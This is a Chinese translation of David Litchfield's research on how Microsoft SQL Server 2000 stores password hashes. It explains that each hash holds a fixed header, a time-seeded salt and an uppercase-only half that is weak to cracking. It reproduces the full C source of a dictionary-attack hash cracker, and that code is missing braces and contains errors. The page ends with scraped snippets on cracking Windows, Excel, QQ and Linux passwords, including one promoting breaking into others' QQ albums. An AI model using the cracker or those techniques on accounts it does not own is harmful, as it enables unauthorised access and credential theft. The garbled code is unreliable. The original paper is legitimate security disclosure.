破解MSSQL的HASH密码

破解MSSQL的HASH密码

原文名称 :Microsoft SQL Server Passwords (Cracking the password hashes) 
原文地址 :http://www.ngssoftware.com/papers/cracking-sql-passwords.pdf 
作者 :David Litchfield <[email protected]> 
 
Term   : FreeXploiT  
 
Author : ALLyeSNO 
 
Date   : 2005-3-25 
翻译:ALLyeSNO <[email protected]> http://blog.csdn.net/freexploit 
参考文章:flashsky《浅谈SQL SERVER数据库口令的脆弱性》

SQL服务器是怎样储存密码的? 
 
SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash。通过研究我们可以发 
 
现这个hash储存在mater数据库的sysxlogins表里面。这个可能已经是众所周知的事情了。 
 
pwdencrypt()函数还没有公布详细的资料,我们这份文档将详细对这个函数进行讨论,并将指出sql 
 
服务器储存hash的这种方法的一些不足之处。实际上,等下我将会说‘密码hashes’。(allyesno:后 
 
文会讨论到,由于时间的关系即使当密码相同的时候生成的hash也并不是唯一一个,所以是hashes) 
 
SQL的密码hash看起来是怎样的呢? 
 
我们使用查询分析器,或者任何一个SQL客户端来执行这条语句: 
 
select password from master.dbo.sysxlogins where name=‘sa‘ 
 
屏幕会返回类似下面这行字符串的东东。 
  
0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF40
57056D9B  
 
这是我机子上登录密码的hash。 
  
通过分析hash我们可以从中获取pwdencrypt()的一些什么信息? 
 
1.时间 
 
首先我们使用查询 select pwdencrypt() 来生成hash 
 
select pwdencrypt(‘ph4nt0m‘)

生成hash 
 
0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D4B8279B
A19EFE77 
 
ok再一次 select pwdencrypt(‘ph4nt0m‘) 
 
0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB854FB343F3D
BB106CFB 
 
我们注意到,虽然两次我们加密的字符串都是ph4nt0m但是生成的hash却不一样。 
 
那么是什么使两次hash的结果不一样呢,我们大胆的推测是时间在这里面起到了关键的作用, 
 
它是创建密码hashes和储存hashes的重要因素。之所以使用这样的方式, 
 
是因为当两个人输入同样的密码时可以以此产生不同的密码hashes用来掩饰他们的密码是相同的。 
 
2.大小写(广告时间:英汉网络技术词汇这本字典好,翻译的时候很多金山词霸找不到的东西,它 
 
都能弄出来) 
 
使用查询 
 
select pwdencrypt(‘ALLYESNO‘) 
 
我们将得到hash 
 
0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
771E4C91 
 
通过观察,我们可以发现这段hash中有两段是相同的,如果你不能马上看出来,让我们把它截断来
看。 
 
0x0100(固定) 
4C61CD2D(补充key) 
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash) 
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash) 
 
现在我们可以看出来最后两组字符串是一模一样的了。这说明这段密码被相同的加密方式进行了两 
 
次加密。一组是按照字符原型进行加密,另一组是按照字符的大写形式进行了加密。当有人尝试破 
 
解SQL密码的时候将会比他预期要容易,这是一个糟糕的加密方式。因为破解密码的人不需要理会字 
 
符原型是大写还是小写,他们只需要破解大写字符就可以了。这将大大减少了破解密码者所需要破 
 
解密码的字符数量。(allyesno:flashsky的文章《浅谈SQL SERVER数据库口令的脆弱性》中曾经

提到“如因为其算法一样,如果HASH1=HASH2,就可以判断口令肯定是未使用字母,只使用了数字和 
 
符号的口令”。实际上并不如flashsky所说的完全相同,我们使用了select pwdencrypt()进行加密 
 
以后就可以发现使用了数字和符号和大写字母的密码其hash1和hash2都会相同,所以这是flashsky 
 
文章中一个小小的bug) 
 
  
补充key  
 
根据上文所述,当时间改变的时候也会使得hash改变,在hash中有一些跟时间有关系的信息使得密 
 
码的hashes不相同,这些信息是很容易获取的。当我们登录的时候依靠从登录密码中和数据库中储 
 
存的hash信息,就可以做一个比较从而分析出这部分信息,我们可以把这部分信息叫做补充key。 
 
上文中我们获取的hash中,补充key 4C61CD2D 就是这个信息的一部分。 
 
这个key 4C61CD2D 由以下阐述的方法生成。 
 
time()C 函数被调用作为一个种子传递给srand()函数。一旦srand()函数被作为rand()函数的种子 
 
并且被调用生成伪随机key,srand()就会设置了一个起点产生一系列的(伪)随机key。然后sql 
 
服务器会将这个key截断取一部分,放置在内存里面。我们叫它key1。这个过程将会再运行一次并 
 
生成另一个key我们叫他key2。两个key连在一起就生成了我们用来加密密码的补充key。 
 
密码的散列法  
  
用户的密码会被转换成UNICODE形式。补充key会添加到他们后面。例如以下所示: 
 
{‘A‘,‘L‘,‘L‘,‘Y‘,‘E‘,‘S‘,‘N‘,‘O‘,0x4C,0x61,0xCD,0x2D} 
 
以上的字符串将会被sql服务器使用pwdencrypt()函数进行加密(这个函数位于advapi32.dll)。生 
 
成两个hash 
 
0x0100(固定) 
4C61CD2D(补充key) 
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash) 
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash) 
 
验证过程 
 
用户登录SQL服务器的验证过程是这样子的:当用户登陆的时候,SQL服务器在数据库中调用上面例

子中的补充key4C61CD2D,将其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函数进行加 
 
密。然后把生成的hash跟数据库内的hash进行对比,以此来验证用户输入的密码是否正确。 
  
SQL服务器密码破解 
 
我们可以使用同样的方式去破解SQL的密码。当然我们会首先选择使用大写字母和符号做为字典进行 
 
破解,这比猜测小写字母要来得容易。 
 
一个命令行的MSSQL服务器HASH破解工具源代码

///////////////////////////////////////////////////////////////////////////////// 
// 
// SQLCrackCl 
// 
// This will perform a dictionary attack against the 
// upper-cased hash for a password. Once this 
// has been discovered try all case variant to work 
// out the case sensitive password. 
// 
// This code was written by David Litchfield to 
// demonstrate how Microsoft SQL Server 2000 
// passwords can be attacked. This can be 
//  optimized considerably by not using the CryptoAPI. 
// 
// (Compile with VC++ and link with advapi32.lib 
//  Ensure the Platform SDK has been installed, too!) 
// 
//////////////////////////////////////////////////////////////////////////////////

#include <stdio.h> 
#include <windows.h> 
#include <wincrypt.h>

FILE *fd=NULL; 
char *lerr = "\nLength Error!\n";

int wd=0; 
int OpenPasswordFile(char *pwdfile); 
int CrackPassword(char *hash);

int main(int argc, char *argv[]) 

           int err = 0;

if(argc !=3) 
                     { 
                               printf("\n\n*** SQLCrack  *** \n\n"); 
                               printf("C:\>%s hash passwd-file\n\n",argv[0]); 
                               printf("David Litchfield ([email protected])\n"); 
                               printf("24th June 2002\n"); 
                               return 0; 
                     }

err = OpenPasswordFile(argv[2]); 
           if(err !=0) 
           { 
             return printf("\nThere was an error opening the password file %s\n",argv[2]); 
           } 
           err = CrackPassword(argv[1]);

fclose(fd); 
           printf("\n\n%d",wd);

return 0; 
}

int OpenPasswordFile(char *pwdfile) 

          fd = fopen(pwdfile,"r"); 
           if(fd) 
                     return 0; 
           else 
                     return 1; 
}

int CrackPassword(char *hash) 
{

char phash[100]=""; 
           char pheader[8]=""; 
           char pkey[12]=""; 
           char pnorm[44]=""; 
           char pucase[44]=""; 
           char pucfirst[8]=""; 
           char wttf[44]=""; 
           char uwttf[100]=""; 
           char *wp=NULL; 
           char *ptr=NULL; 
           int cnt = 0; 
           int count = 0; 
           unsigned int key=0; 
           unsigned int t=0; 
           unsigned int address = 0; 
           unsigned char cmp=0; 
           unsigned char x=0; 
           HCRYPTPROV hProv=0; 
           HCRYPTHASH hHash; 
           DWORD hl=100; 
          unsigned char szhash[100]=""; 
           int len=0;

if(strlen(hash) !=94) 
                    { 
                              return printf("\nThe password hash is too short!\n"); 
                    }

if(hash[0]==0x30 && (hash[1]== ‘x‘ || hash[1] == ‘X‘)) 
                    { 
                              hash = hash + 2; 
                              strncpy(pheader,hash,4); 
                              printf("\nHeader\t\t: %s",pheader); 
                              if(strlen(pheader)!=4) 
                                        return printf("%s",lerr);

hash = hash + 4; 
                              strncpy(pkey,hash,8); 
                              printf("\nRand key\t: %s",pkey); 
                              if(strlen(pkey)!=8) 
                                        return printf("%s",lerr);

hash = hash + 8; 
                              strncpy(pnorm,hash,40); 
                              printf("\nNormal\t\t: %s",pnorm); 
                              if(strlen(pnorm)!=40) 
                                        return printf("%s",lerr);

hash = hash + 40; 
                              strncpy(pucase,hash,40); 
                              printf("\nUpper Case\t: %s",pucase); 
                              if(strlen(pucase)!=40) 
                                        return printf("%s",lerr);

strncpy(pucfirst,pucase,2);

sscanf(pucfirst,"%x",&cmp); 
                    } 
           else 
                    { 
                              return printf("The password hash has an invalid format!\n"); 
                    }

printf("\n\n        Trying...\n");

if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                               ,0)) 
           { 
                    if(GetLastError()==NTE_BAD_KEYSET) 
                              { 
                                        // KeySet does not exist. So create a new keyset 
                                        if(!CryptAcquireContext(&hProv,

NULL, 
                                                                       NULL, 
                                                                       PROV_RSA_FULL, 
                                                                       CRYPT_NEWKEYSET )) 
                                                   { 
                                                             printf("FAILLLLLLL!!!"); 
                                                             return FALSE; 
                                                   }

}

}

while(1) 
                    {

// get a word to try from the file 
                              ZeroMemory(wttf,44);

if(!fgets(wttf,40,fd)) 
                                 return printf("\nEnd of password file. Didn‘t find the password.\n");

wd++;

len = strlen(wttf); 
                              wttf[len-1]=0x00;

ZeroMemory(uwttf,84);

// Convert the word to UNICODE 
                              while(count < len) 
                                         { 
                                                   uwttf[cnt]=wttf[count]; 
                                                   cnt++; 
                                                   uwttf[cnt]=0x00; 
                                                   count++; 
                                                   cnt++; 
                                         } 
                              len --;

wp = &uwttf; 
                              sscanf(pkey,"%x",&key); 
                               cnt = cnt - 2;

// Append the random stuff to the end of 
                              // the uppercase unicode password 
                              t = key >> 24; 
                              x = (unsigned char) t;

uwttf[cnt]=x; 
                              cnt++;

t = key << 8; 
                              t = t >> 24; 
                               x = (unsigned char) t; 
                               uwttf[cnt]=x; 
                               cnt++;

t = key << 16; 
                               t = t >> 24; 
                               x = (unsigned char) t;

uwttf[cnt]=x; 
                               cnt++;

t = key << 24; 
                               t = t >> 24; 
                               x = (unsigned char) t; 
                               uwttf[cnt]=x; 
                               cnt++;

// Create the hash

if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) 
                               { 
                                         printf("Error %x during CryptCreatHash!\n", GetLastError()); 
                                         return 0; 
                               }

if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) 
                               { 
                                         printf("Error %x during CryptHashData!\n", GetLastError()); 
                                         return FALSE; 
                               }

CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);

// Test the first byte only. Much quicker. 
                    if(szhash[0] == cmp) 
                               { 
                                         // If first byte matches try the rest 
                                         ptr = pucase; 
                                         cnt = 1; 
                                         while(cnt < 20) 
                                         { 
                                                   ptr = ptr + 2; 
                                                   strncpy(pucfirst,ptr,2); 
                                                   sscanf(pucfirst,"%x",&cmp); 
                                                   if(szhash[cnt]==cmp) 
                                                             cnt ++; 
                                                   else 
                                                   { 
                                                             break; 
                                                   } 
                                         } 
                                         if(cnt == 20) 
                                         {

// We‘ve found the password 
                                                   printf("\nA MATCH!!! Password is %s\n",wttf); 
                                                   return 0;


                              }

count = 0; 
                              cnt=0;

}

return 0; 
}

时间: 2024-10-13 11:46:17

破解MSSQL的HASH密码的相关文章

我是如何破解你的WINDOWS密码的 ?(1)

我是如何破解你的WINDOWS密码的 ?(1)   密码可以看作我们主要,甚至某些情况下唯一可用于防范入侵的防线.就算入侵者无法在物理上接触到计算机,对于对外的Web应用,他们依然可以通过远程桌面协议或身份验证功能访问到服务器上的服务. 本文的主要是为了告诉您Windows创建和存储密码哈希(Hash)的方式,以及这些哈希的破解方式.在介绍了如何破解Windows密码后,我还将介绍一些技巧,帮助您防范此类攻击. 介绍 密码可以看作我们主要,甚至某些情况下唯一可用于防范入侵的防线.就算入侵者无法在

我是如何破解你的WINDOWS密码的 ?(2)

介绍 在这个系类的第一部分中,我们揭示了windows创建和储存密码的机制.我们也涉猎了一点两种加密方法的弱点和破解的方法.在这系列的第二篇也是最后一篇文章中,我会实战用网上免费的工具一步一步的来破解一次密码给你看. 注意!以下这些技术只为学习目的,请勿用于非法用途!   获取密码HASH 为了破解密码你应该先获取密码在windows中储存的位置,这些hash储存在windows在SAM文件中,这个文件在C:\Windows\System32\config不过在windows启动时这个文件是不能

破解并重置mysql密码

-破解并重置mysql密码 密码这东西,总有忘记的时候,或者是一下子没有记录下来,或者是上一手交接的时候根本没人跟你说,或者是老旧到连老领导也忘记的数据库,问题是该用还是得用,那就把它破解了呗. #先关闭mysql service mysqld stop #进入安全模式,可以免密码登录 /usr/local/mysql/bin/mysqld_safe --skip-grant-tables --skip-networking& #免密码登陆 /usr/local/mysql/bin/mysql 

利用Excel漏洞来破解Excel保护工作表密码

本次实验是利用Excel改后辍成为压缩文件的漏洞来破解Excel保护工作表密码 首先我们建立一个Excel表格然后设置Excel保护工作表密码并另存为 确定密码已经生效 重命名Excel文件后辍.zip 解压已经改好后辍的Excel文件 解压好后会出现4个文件 打开xl后会看到worksheet文件夹 打开后会开到sheet1.xml就是我们设置保护密码的Excel的第一页 使用Adobe Dreamweavr来破解密码 打开Adobe Dreamweavr并且打开sheet1.xml文件 找到

破解windows XP开机密码实战

indows xp的安全性能相对于更老的系统有了很大的提高,我们可以通过建立个人用户设置密码来保护自己的秘密,但是如果有一天我们自己忘记了这个登录密码那该怎么办呢?难道除了格式化硬盘重装系统,就没有别的方法了吗?据了解,如果遗忘了,电脑在不重装系统的前提下,可以通过电脑光盘中的第三方软件来进行破解.但是如果没有这个软件,我们又该怎么办呢?本教程将给大家介绍一招,无需通过第三方软件,我们还能进入系统,轻松破解windows XP开机密码. 具体的操作步骤如下: windows启动,进入欢迎界面.

破解Excel工作表密码

1.在VBA中使用以下方法,即可破解Excel工作表密码. (1)在Excel文档中,选择"视图"选项卡,选择"宏",录制宏,然后停止录制. (2)然后,按Alt + f11,调出VBA界面,发现有一个模块1,下面就是刚才录制宏的方法,把下面的代码Copy进去,替换掉,最后点工具栏的绿色三角形,执行方法,即可破解Excel工作表的密码. Public Sub AllInternalPasswords()' Breaks worksheet and workbook

破解QQ空间访问权限大全分享|怎么破解QQ空间相册密码技巧

您是否遇到了对方将QQ空间或是QQ相册加密?这里不用担心微微解密网来教大家怎么破解QQ空间相册密码以及访问权限,不管对方是否是您的好友,无论对方设置了各种访问权限,例如:回答问题访问,好友访问,仅自己访问等权限,这里的QQ空间相册密码破解教程都能轻松教会大家方法,然大家轻松的对对方的QQ空间以及QQ相册进行破解!一下是小编整理的QQ空间相册破解教程欢迎大家学习,希望大家专心学习哟!教程地址 http://www.jmwww.net

破解Linux系统开机密码

在我们使用Linux虚拟机的时候,经常会忘记自己设置的开机密码,无奈之下只有重新建一个虚拟机,然而新建往往会浪费掉我们很多时间,这时候,知道如何破解Linux系统密码就显得很重要了. 下面我们使用boot方法破解Linux的开机密码: 一.操作系统 CentOS6.5(其他Linux系统类似) 二.操作步骤 1.忘记了root的登录密码,登陆时显示"鉴定故障" 2.这时先重启CentOS6.5虚拟机,在虚拟机的上部,点击"挂起"按钮上的下拉三角形,点击"重

暴力破解sshd服务的密码的小技巧

暴力破解sshd服务的密码的小技巧 准备环境   1:在虚拟机上准备一台XP系统   2:开启两台Linux系统 超级管理员为root 密码为 123456       192.168.1.63  密码 123456       192.168.1.65  密码 123456 注:找来的破解软件,肯定被编写者留下了后门,所以为了便于安全和测试,我只能用虚拟机上的XP系统和Linux系统来进行测试,Linux系统上的账号密码都设置简单点,便于快速出现结果.